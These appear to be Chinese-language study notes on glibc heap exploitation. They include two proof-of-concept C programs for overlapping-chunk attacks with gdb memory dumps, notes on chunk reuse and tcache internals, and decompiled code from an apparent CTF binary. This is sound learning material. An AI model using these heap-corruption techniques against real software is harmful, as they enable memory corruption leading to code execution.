先复习一下overlappingchunk

  1. 第一种overlapping,适用与glibc<2.26 ```c /* A simple tale of overlapping chunk. This technique is taken from http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */ #include #include #include #include

int main(int argc , char* argv[]){ //这个技术需要在没有tcache机制的libc中使用(就是glic2.26以前)

intptr_t *p1,*p2,*p3,*p4;

p1 = malloc(0x100 - 8);     //首先我们malloc三个chunk
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "它们的位置分别在:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);     //分别存上不同的数据
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

free(p2);       //free chunk2,现在p2在unsorted bin中,如果有新的malloc大小符合条件,那么就是使用这个p2


int evil_chunk_size = 0x181;        //现在我们假装覆盖到p2的size,我们将最后一位设置成1(前一个chunk处于分配状态)
int evil_region_size = 0x180 - 8;   //malloc的大小
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
        evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // 假装覆盖 p2的size

p4 = malloc(evil_region_size);

memset(p4, '4', evil_region_size); //现在我们将p4全写成4
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

memset(p3, '3', 80);        //现在我们将p3全写成3
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3); } ``` 填满数字后的chunk ``` gdb-peda$ x/90gx 0x603000 0x603000:	0x0000000000000000	0x0000000000000101	<-p1 0x603010:	0x3131313131313131	0x3131313131313131 0x603020:	0x3131313131313131	0x3131313131313131 0x603030:	0x3131313131313131	0x3131313131313131 0x603040:	0x3131313131313131	0x3131313131313131 0x603050:	0x3131313131313131	0x3131313131313131 0x603060:	0x3131313131313131	0x3131313131313131 0x603070:	0x3131313131313131	0x3131313131313131 0x603080:	0x3131313131313131	0x3131313131313131 0x603090:	0x3131313131313131	0x3131313131313131 0x6030a0:	0x3131313131313131	0x3131313131313131 0x6030b0:	0x3131313131313131	0x3131313131313131 0x6030c0:	0x3131313131313131	0x3131313131313131 0x6030d0:	0x3131313131313131	0x3131313131313131 0x6030e0:	0x3131313131313131	0x3131313131313131 0x6030f0:	0x3131313131313131	0x3131313131313131 0x603100:	0x3131313131313131	0x0000000000000101	<-p2 0x603110:	0x3232323232323232	0x3232323232323232 0x603120:	0x3232323232323232	0x3232323232323232 0x603130:	0x3232323232323232	0x3232323232323232 0x603140:	0x3232323232323232	0x3232323232323232 0x603150:	0x3232323232323232	0x3232323232323232 0x603160:	0x3232323232323232	0x3232323232323232 0x603170:	0x3232323232323232	0x3232323232323232 0x603180:	0x3232323232323232	0x3232323232323232 0x603190:	0x3232323232323232	0x3232323232323232 0x6031a0:	0x3232323232323232	0x3232323232323232 0x6031b0:	0x3232323232323232	0x3232323232323232 0x6031c0:	0x3232323232323232	0x3232323232323232 0x6031d0:	0x3232323232323232	0x3232323232323232 0x6031e0:	0x3232323232323232	0x3232323232323232 0x6031f0:	0x3232323232323232	0x3232323232323232 0x603200:	0x3232323232323232	0x0000000000000081	<-p3 0x603210:	0x3333333333333333	0x3333333333333333 0x603220:	0x3333333333333333	0x3333333333333333 0x603230:	0x3333333333333333	0x3333333333333333 0x603240:	0x3333333333333333	0x3333333333333333 0x603250:	0x3333333333333333	0x3333333333333333 0x603260:	0x3333333333333333	0x3333333333333333 0x603270:	0x3333333333333333	0x3333333333333333 0x603280:	0x3333333333333333	0x0000000000020d81 ``` free(p2)之后 ``` gdb-peda$ x/90gx 0x603000 0x603000:	0x0000000000000000	0x0000000000000101	<-p 0x603010:	0x3131313131313131	0x3131313131313131 0x603020:	0x3131313131313131	0x3131313131313131 0x603030:	0x3131313131313131	0x3131313131313131 0x603040:	0x3131313131313131	0x3131313131313131 0x603050:	0x3131313131313131	0x3131313131313131 0x603060:	0x3131313131313131	0x3131313131313131 0x603070:	0x3131313131313131	0x3131313131313131 0x603080:	0x3131313131313131	0x3131313131313131 0x603090:	0x3131313131313131	0x3131313131313131 0x6030a0:	0x3131313131313131	0x3131313131313131 0x6030b0:	0x3131313131313131	0x3131313131313131 0x6030c0:	0x3131313131313131	0x3131313131313131 0x6030d0:	0x3131313131313131	0x3131313131313131 0x6030e0:	0x3131313131313131	0x3131313131313131 0x6030f0:	0x3131313131313131	0x3131313131313131 0x603100:	0x3131313131313131	0x0000000000000101	<-p2 0x603110:	0x00007ffff7dd47b8	0x00007ffff7dd47b8		<-unsort bin  指向了main_arena+88 0x603120:	0x3232323232323232	0x3232323232323232 0x603130:	0x3232323232323232	0x3232323232323232 0x603140:	0x3232323232323232	0x3232323232323232 0x603150:	0x3232323232323232	0x3232323232323232 0x603160:	0x3232323232323232	0x3232323232323232 0x603170:	0x3232323232323232	0x3232323232323232 0x603180:	0x3232323232323232	0x3232323232323232 0x603190:	0x3232323232323232	0x3232323232323232 0x6031a0:	0x3232323232323232	0x3232323232323232 0x6031b0:	0x3232323232323232	0x3232323232323232 0x6031c0:	0x3232323232323232	0x3232323232323232 0x6031d0:	0x3232323232323232	0x3232323232323232 0x6031e0:	0x3232323232323232	0x3232323232323232 0x6031f0:	0x3232323232323232	0x3232323232323232 0x603200:	0x0000000000000100	0x0000000000000080	<-p3 0x603210:	0x3333333333333333	0x3333333333333333 0x603220:	0x3333333333333333	0x3333333333333333 0x603230:	0x3333333333333333	0x3333333333333333 0x603240:	0x3333333333333333	0x3333333333333333 0x603250:	0x3333333333333333	0x3333333333333333 0x603260:	0x3333333333333333	0x3333333333333333 0x603270:	0x3333333333333333	0x3333333333333333 0x603280:	0x3333333333333333	0x0000000000020d81 ``` 覆盖p2的size ``` gdb-peda$ x/90gx 0x603000 0x603000:	0x0000000000000000	0x0000000000000101	<-p1 0x603010:	0x3131313131313131	0x3131313131313131 0x603020:	0x3131313131313131	0x3131313131313131 0x603030:	0x3131313131313131	0x3131313131313131 0x603040:	0x3131313131313131	0x3131313131313131 0x603050:	0x3131313131313131	0x3131313131313131 0x603060:	0x3131313131313131	0x3131313131313131 0x603070:	0x3131313131313131	0x3131313131313131 0x603080:	0x3131313131313131	0x3131313131313131 0x603090:	0x3131313131313131	0x3131313131313131 0x6030a0:	0x3131313131313131	0x3131313131313131 0x6030b0:	0x3131313131313131	0x3131313131313131 0x6030c0:	0x3131313131313131	0x3131313131313131 0x6030d0:	0x3131313131313131	0x3131313131313131 0x6030e0:	0x3131313131313131	0x3131313131313131 0x6030f0:	0x3131313131313131	0x3131313131313131 0x603100:	0x3131313131313131	0x0000000000000181	<- 被覆盖(size变大) 0x603110:	0x00007ffff7dd47b8	0x00007ffff7dd47b8 0x603120:	0x3232323232323232	0x3232323232323232 0x603130:	0x3232323232323232	0x3232323232323232 0x603140:	0x3232323232323232	0x3232323232323232 0x603150:	0x3232323232323232	0x3232323232323232 0x603160:	0x3232323232323232	0x3232323232323232 0x603170:	0x3232323232323232	0x3232323232323232 0x603180:	0x3232323232323232	0x3232323232323232 0x603190:	0x3232323232323232	0x3232323232323232 0x6031a0:	0x3232323232323232	0x3232323232323232 0x6031b0:	0x3232323232323232	0x3232323232323232 0x6031c0:	0x3232323232323232	0x3232323232323232 0x6031d0:	0x3232323232323232	0x3232323232323232 0x6031e0:	0x3232323232323232	0x3232323232323232 0x6031f0:	0x3232323232323232	0x3232323232323232 0x603200:	0x0000000000000100	0x0000000000000080	<-p3 0x603210:	0x3333333333333333	0x3333333333333333 0x603220:	0x3333333333333333	0x3333333333333333 0x603230:	0x3333333333333333	0x3333333333333333 0x603240:	0x3333333333333333	0x3333333333333333 0x603250:	0x3333333333333333	0x3333333333333333 0x603260:	0x3333333333333333	0x3333333333333333 0x603270:	0x3333333333333333	0x3333333333333333 0x603280:	0x3333333333333333	0x0000000000020d81 ``` 把p4全部填充4之后 ``` gdb-peda$ x/90gx 0x603000 0x603000:	0x0000000000000000	0x0000000000000101	<-p1 0x603010:	0x3131313131313131	0x3131313131313131 0x603020:	0x3131313131313131	0x3131313131313131 0x603030:	0x3131313131313131	0x3131313131313131 0x603040:	0x3131313131313131	0x3131313131313131 0x603050:	0x3131313131313131	0x3131313131313131 0x603060:	0x3131313131313131	0x3131313131313131 0x603070:	0x3131313131313131	0x3131313131313131 0x603080:	0x3131313131313131	0x3131313131313131 0x603090:	0x3131313131313131	0x3131313131313131 0x6030a0:	0x3131313131313131	0x3131313131313131 0x6030b0:	0x3131313131313131	0x3131313131313131 0x6030c0:	0x3131313131313131	0x3131313131313131 0x6030d0:	0x3131313131313131	0x3131313131313131 0x6030e0:	0x3131313131313131	0x3131313131313131 0x6030f0:	0x3131313131313131	0x3131313131313131 0x603100:	0x3131313131313131	0x0000000000000181	<-p2 p4 0x603110:	0x3434343434343434	0x3434343434343434 0x603120:	0x3434343434343434	0x3434343434343434 0x603130:	0x3434343434343434	0x3434343434343434 0x603140:	0x3434343434343434	0x3434343434343434 0x603150:	0x3434343434343434	0x3434343434343434 0x603160:	0x3434343434343434	0x3434343434343434 0x603170:	0x3434343434343434	0x3434343434343434 0x603180:	0x3434343434343434	0x3434343434343434 0x603190:	0x3434343434343434	0x3434343434343434 0x6031a0:	0x3434343434343434	0x3434343434343434 0x6031b0:	0x3434343434343434	0x3434343434343434 0x6031c0:	0x3434343434343434	0x3434343434343434 0x6031d0:	0x3434343434343434	0x3434343434343434 0x6031e0:	0x3434343434343434	0x3434343434343434 0x6031f0:	0x3434343434343434	0x3434343434343434 0x603200:	0x3434343434343434	0x3434343434343434	<-p3 0x603210:	0x3434343434343434	0x3434343434343434 0x603220:	0x3434343434343434	0x3434343434343434 0x603230:	0x3434343434343434	0x3434343434343434 0x603240:	0x3434343434343434	0x3434343434343434 0x603250:	0x3434343434343434	0x3434343434343434 0x603260:	0x3434343434343434	0x3434343434343434 0x603270:	0x3434343434343434	0x3434343434343434 0x603280:	0x3434343434343434	0x0000000000020d81 ``` 再把p3改为3 ``` gdb-peda$ x/90gx 0x603000 0x603000:	0x0000000000000000	0x0000000000000101	<-p1 0x603010:	0x3131313131313131	0x3131313131313131 0x603020:	0x3131313131313131	0x3131313131313131 0x603030:	0x3131313131313131	0x3131313131313131 0x603040:	0x3131313131313131	0x3131313131313131 0x603050:	0x3131313131313131	0x3131313131313131 0x603060:	0x3131313131313131	0x3131313131313131 0x603070:	0x3131313131313131	0x3131313131313131 0x603080:	0x3131313131313131	0x3131313131313131 0x603090:	0x3131313131313131	0x3131313131313131 0x6030a0:	0x3131313131313131	0x3131313131313131 0x6030b0:	0x3131313131313131	0x3131313131313131 0x6030c0:	0x3131313131313131	0x3131313131313131 0x6030d0:	0x3131313131313131	0x3131313131313131 0x6030e0:	0x3131313131313131	0x3131313131313131 0x6030f0:	0x3131313131313131	0x3131313131313131 0x603100:	0x3131313131313131	0x0000000000000181	<-p2 p4 0x603110:	0x3434343434343434	0x3434343434343434 0x603120:	0x3434343434343434	0x3434343434343434 0x603130:	0x3434343434343434	0x3434343434343434 0x603140:	0x3434343434343434	0x3434343434343434 0x603150:	0x3434343434343434	0x3434343434343434 0x603160:	0x3434343434343434	0x3434343434343434 0x603170:	0x3434343434343434	0x3434343434343434 0x603180:	0x3434343434343434	0x3434343434343434 0x603190:	0x3434343434343434	0x3434343434343434 0x6031a0:	0x3434343434343434	0x3434343434343434 0x6031b0:	0x3434343434343434	0x3434343434343434 0x6031c0:	0x3434343434343434	0x3434343434343434 0x6031d0:	0x3434343434343434	0x3434343434343434 0x6031e0:	0x3434343434343434	0x3434343434343434 0x6031f0:	0x3434343434343434	0x3434343434343434 0x603200:	0x3434343434343434	0x3434343434343434	<-p3 0x603210:	0x3333333333333333	0x3333333333333333 0x603220:	0x3333333333333333	0x3333333333333333 0x603230:	0x3333333333333333	0x3333333333333333 0x603240:	0x3333333333333333	0x3333333333333333 0x603250:	0x3333333333333333	0x3333333333333333 0x603260:	0x3434343434343434	0x3434343434343434 0x603270:	0x3434343434343434	0x3434343434343434 0x603280:	0x3434343434343434	0x0000000000020d81 ``` 2. 第二种overlapping,对glibc版本没有要求 ```c /*  Yet another simple tale of overlapping chunk.  This technique is taken from  https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

This is also referenced as Nonadjacent Free Chunk Consolidation Attack. */

#include #include #include #include #include

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

p1 = malloc(1000);      //首先malloc5个chunk
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

memset(p1,'A',real_size_p1);        //填满数字
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

free(p4);
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //将p2的size改写

free(p2);//这时allocator认为p2的下一个chunk是p4,因为p4是freeed,,然后p2和p4就会合并

p6 = malloc(2000);  //现在我们就可以malloc一个更加大一些的chunk


memset(p6,'F',1500);    //现在我们将p6填充一些数据
fprintf(stderr, "%s\n",(char *)p3);//这些数据将p3的值也覆盖 } ``` 填满数字之后 ``` gdb-peda$ x/4gx 0x603000 0x603000:	0x0000000000000000	0x00000000000003f1	<-p1 0x603010:	0x4141414141414141	0x4141414141414141

gdb-peda$ x/4gx 0x603000+0x3f0 0x6033f0: 0x4141414141414141 0x00000000000003f1 <-p2 0x603400: 0x4242424242424242 0x4242424242424242

gdb-peda$ x/4gx 0x603000+0x3f0+0x3f0 0x6037e0: 0x4242424242424242 0x00000000000003f1 <-p3 0x6037f0: 0x4343434343434343 0x4343434343434343

gdb-peda$ x/4gx 0x603000+0x3f0+0x3f0+0x3f0 0x603bd0: 0x4343434343434343 0x00000000000003f1 <-p4 0x603be0: 0x4444444444444444 0x4444444444444444

gdb-peda$ x/4gx 0x603000+0x3f0+0x3f0+0x3f0+0x3f0 0x603fc0: 0x4444444444444444 0x00000000000003f1 <-p5 0x603fd0: 0x4545454545454545 0x4545454545454545

free(4)之后

gdb-peda$ x/4gx 0x603000+0x3f0+0x3f0+0x3f0 0x603bd0: 0x4343434343434343 0x00000000000003f1 <-p4 0x603be0: 0x00007ffff7dd47b8 0x00007ffff7dd47b8

将p2的size改写

gdb-peda$ x/4gx 0x603000+0x3f0 0x6033f0: 0x4141414141414141 0x00000000000007e1 <-p2 0x603400: 0x4242424242424242 0x4242424242424242

再free(p2)

gdb-peda$ x/4gx 0x603000+0x3f0 0x6033f0: 0x4141414141414141 0x0000000000000bd1 <-p2 0x603400: 0x00007ffff7dd47b8 0x00007ffff7dd47b8

malloc(p6),此时p6和p2重叠了

gdb-peda$ x/4gx 0x603400-0x10 0x6033f0: 0x4141414141414141 0x00000000000007e1 <-p2 p6 0x603400: 0x00007ffff7dd4d98 0x00007ffff7dd4d98

p6写入东西之后

gdb-peda$ x/4gx 0x603400-0x10 0x6033f0: 0x4141414141414141 0x00000000000007e1 <-p2 p6 0x603400: 0x4646464646464646 0x4646464646464646

然后数据就覆盖到了p3里

#### 堆块重用机制
在chunk结构的学习中我们已经了解到,presize字段仅在前一个堆块是空闲时才有意义,也就是说,当前一个堆块是inuse态时,presize是可有可无的。考虑到这一点,libc采用了一种机制:当一个堆块是inuse态时,它会把下一个堆块的presize字段也作为自己的用户区,这样就可以节省内存空间,这种把presize字段在pre_chunk非空闲时用作pre_chunk的数据区的处理机制就是堆块重用。

**然而,并不是所有情况下都会使用堆块重用!这也是今天要讲的要点:**

我们知道,堆块分配时,它的大小要进行内存对齐,32位操作系统中,会以8字节进行对齐(即堆块的大小必须是8字节的整数倍),而64位操作系统中,会以16字节进行对齐(即堆块的大小必须是16字节的整数倍)。

而堆块重用只出现在如下情况:申请的内存大小在按照上述规则进行向大取整后,得到的应有大小比原大小大出的值大于等于对齐字节量的一半!

比如64位操作系统中,malloc(0x88),向大取整后是0x90,比原来大出了8个字节,而64位下的对齐字节量是16字节,8字节大于等于16的一半,因此会进行堆块重用:0x88中的最后8字节会存在下一个chunk的presize字段位置。而如果是malloc(0x79),向大取整后是0x80,比原来大出7个字节,小于16的一半,就不会发生堆块重用。

为什么呢?堆块重用的初衷就是节约内存,当符合上述重用条件时,用户申请的大小mod对齐字节量后多出的那块大小是小于等于presize字段长度(如64位下是8字节)的,因此多出的这块小尾巴就正好可以顺便放进presize字段存储,相比来说,如果不重用presize来存,而是继续按16字节对齐,将会产生较大的内存浪费;而当不符合重用条件时,多出来的小尾巴是大于presize长度的,presize就存不下了,而size字段人家自己还有用你又不能拿来占,因此就没法进行堆块重用了。

总结一下堆块重用条件:申请的内存大小在按照上述规则进行向大取整后,得到的应有大小比原大小大出的值>=对齐字节量的一半(presize字段长度).    =>也即:申请的内存大小mod对齐字节量<=对齐字节量的一半(presize字段长度).

#### size字段对齐计算方式
当采用了重用时,计算出来的size字段的值是舍弃了“小尾巴”的,即重用的presize字段长度并未算进来!也就是说,无论是否重用,抽象掉计算过程来看,最终得到的size字段值一定是从chunk_head到next_chunk_head间的长度!

**注意**
1. off by one 可以覆盖inuse位:必须在进行了重用的情况下才能实现!(而且是完全的重用)
2. 泄露堆地址时,加减的偏移量应取多少,需要考虑是否有重用!

#### 关于tcache
线程本地缓存:tcache(Thread Local Caching)是libc2.26之后引进的一种新机制.故名思意,是个缓存,与其线程对应;说到缓存,应该想到“优先存取”的特点,事实上也确实如此.它也是个堆表,而且是单链表,其特点和fastbin基本相同,只是更弱,没有首块double free检查也没有size校验,tcache特殊的一点是,它的fd指针是指向用户区的,而不是块首,这是和其他bin的一个重要区别

此外这个东西有一个奇葩的地方,人家别的堆表都待在arena里,但是tcache却存储在堆区;tcache的位置位于堆区的起始处,一共有64个链表,这64个链表的索引结点(也就是链首结点用于存放链表中第一个堆块地址的结点)依次存放在堆区起始处;每个链表最多维护7个堆块

tcache 中新增了两个结构体,分别是 tcache_entry 和 tcache_pertheread_struct
```c
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

ida中查看main函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // ST08_8@1
  int v4; // eax@4

  v3 = *MK_FP(__FS__, 40LL);
  puts_stuff();
  qword_202050 = (__int64)calloc(0xA0uLL, 1uLL);// 置零,位置在0x202050
  if ( !qword_202050 )
  {
    puts("init error!");
    puts_bybe();
  }
  while ( 1 )
  {
    while ( 1 )
    {
      puts_choice();
      v4 = read_choice();
      if ( v4 != 2 )
        break;
      free_morty();
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        puts_content();
      }
      else if ( v4 == 4 )
      {
        puts_bybe();
      }
    }
    else if ( v4 == 1 )
    {
      malloc_morty();
    }
  }
}

读取的函数

__int64 __fastcall read_content(_BYTE *a1, int a2)
{
  unsigned int v3; // [sp+14h] [bp-Ch]@1
  __int64 v4; // [sp+18h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  v3 = 0;
  if ( a2 )
  {
    while ( 1 )
    {
      read(0, &a1[v3], 1uLL);
      if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == '\n' )// 有截断处理
        break;
      ++v3;
    }
    a1[v3] = 0;
    a1[a2] = 0;
  }
  else
  {
    *a1 = 0;
  }
  return *MK_FP(__FS__, 40LL) ^ v4;
}